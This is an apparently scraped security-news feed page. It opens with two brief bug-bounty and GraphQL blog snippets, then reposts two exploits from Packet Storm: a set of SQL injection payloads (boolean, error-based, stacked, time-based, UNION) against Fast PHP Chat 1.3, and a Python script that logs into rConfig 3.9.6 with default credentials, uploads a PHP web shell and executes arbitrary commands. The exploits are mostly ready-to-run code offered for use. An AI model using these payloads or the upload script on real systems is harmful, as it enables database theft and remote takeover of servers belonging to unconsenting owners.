Hello everyone!!Continue reading on Medium » (https://busk3r.medium.com/hacking-graphql-for-fun-and-profit-part-1-understanding-graphql-basics-72bb3dd22efa?source=rss------bug_bounty-5)

DeFi Saver bug bounty is now live on Immunefi
https://medium.com/defi-saver/defi-saver-bug-bounty-is-now-live-on-immunefi-56af32d0c220?source=rss------bug_bounty-5

The new DeFi Saver bug bounty is now live on Immunefi! Immunefi is a bug bounty platform for smart contracts and DeFi projects, where…Continue reading on DeFi Saver » (https://medium.com/defi-saver/defi-saver-bug-bounty-is-now-live-on-immunefi-56af32d0c220?source=rss------bug_bounty-5)

Exploit Collector
Fast PHP Chat 1.3 SQL Injection

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png
Fast PHP Chat version 1.3 suffers from a remote SQL injection vulnerability.

MD5 | a327483a86ab5acaf1b709b62d3c730d

Download
# Exploit Title: Fast PHP Chat 1.3 - 'my_item_search' SQL Injection
# Date: 15/04/2021
# Exploit Author: Fatih Coskun
# Vendor Homepage: https://codecanyon.net/item/fast-php-chat-responsive-live-ajax-chat/10721076
# Version: 1.3
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands from search section with 'my_item_search' parameter.
====================================================

# PoC : SQLi :

POST /chat/edit.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/chat/edit.php
Cookie: PHPSESSID=9a04fe702b8ff82c1199590d7c286e1c;
_ga=GA1.2.1275939122.1527132107; _gid=GA1.2.1709883568.1527132107
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
my_item_search=test&submit_search=Search
Parameter : my_item_search

Type : boolean-based blind
Demo : https://localhost/chat/edit.php
Payload : my_item_search=-2454' OR 6122=6122#&submit=Search

Type : error-based
Demo : https://localhost/chat/edit.php
Payload : my_item_search=test' AND (SELECT 3274 FROM(SELECT
COUNT(*),CONCAT(0x71706a7071,(SELECT
(ELT(3274=3274,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hbeW&submit=Search

Type : stacked queries
Demo : https://localhost/chat/edit.php
Payload : my_item_search=test';SELECT SLEEP(5)#&submit=Search

Type : AND/OR time-based blind
Demo : https://localhost/login-script-demo/users.php
Payload : my_item_search=test' OR SLEEP(5)-- mlod&submit=Search

Type : UNION query
Demo : https://localhost/chat/edit.php
Payload : my_item_search=test' UNION ALL SELECT
NULL,CONCAT(0x71706a7071,0x4c5a6241667667676e4f6658775348795675704b557871675a5542646273574e5359776668534a71,0x7162716b71),NULL,NULL,NULL,NULL#&submit=Search

====================================================

Source:packetstormsecurity.com

Exploit Collector
rconfig 3.9.6 Shell Upload

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
rconfig versions 3.9.6 and below shell upload exploit. This is a variant of the flaw discovered in the same version by Murat Seker in March of 2021.

MD5 | b7f8097627500be08ead4a0bbb6d61eb

Download
# Exploit Title: rconfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (2)
# Exploit Author: Vishwaraj Bhattrai
# Date: 18/04/2021
# Vendor Homepage: https://www.rconfig.com/
# Software Link: https://www.rconfig.com/
# Vendor: rConfig
# Version: <=
# Tested against Server Host: Linux+XAMPP

import requests
import sys
s = requests.Session()

host=sys.argv[1] #Enter the hostname
cmd=sys.argv[2] #Enter the command

def exec_cmd(cmd,host):
print "[+]Executing command"
path="https://%s/images/vendor/x.php?cmd=%s"%(host,cmd)
response=requests.get(path)
print response.text
print "\n[+]You can access shell via below path"
print path

def file_upload(cmd,host):
print "[+]Bypassing file upload"
burp0_url = "https://"+host+":443/lib/crud/vendors.crud.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------3835647072299295753759313500", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/vendors.php", "Upgrade-Insecure-Requests": "1"}
burp0_cookies = {"_ga": "GA1.2.71516207.1614715346", "PHPSESSID": ""}
burp0_data = "-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"vendorName\"\r\n\r\nCisco2\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"vendorLogo\"; filename=\"banana.php\"\r\nContent-Type: image/gif\r\n\r\n<?php\n\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"add\"\r\n\r\nadd\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"editid\"\r\n\r\n\r\n-----------------------------3835647072299295753759313500--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=s.cookies,data=burp0_data)
exec_cmd(cmd,host)
def login(host,cmd):
print "[+]Logging in"
burp0_url = "https://"+host+":443/lib/crud/userprocess.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/login.php", "Upgrade-Insecure-Requests": "1"}

burp0_data = {"user": "admin", "pass": "admin", "sublogin": "1"} #Use valid set of credentials default is set to admin/admin
response=s.post(burp0_url, headers=burp0_headers, cookies=s.cookies, data=burp0_data)
file_upload(cmd,host)

login(host,cmd)


Source:packetstormsecurity.com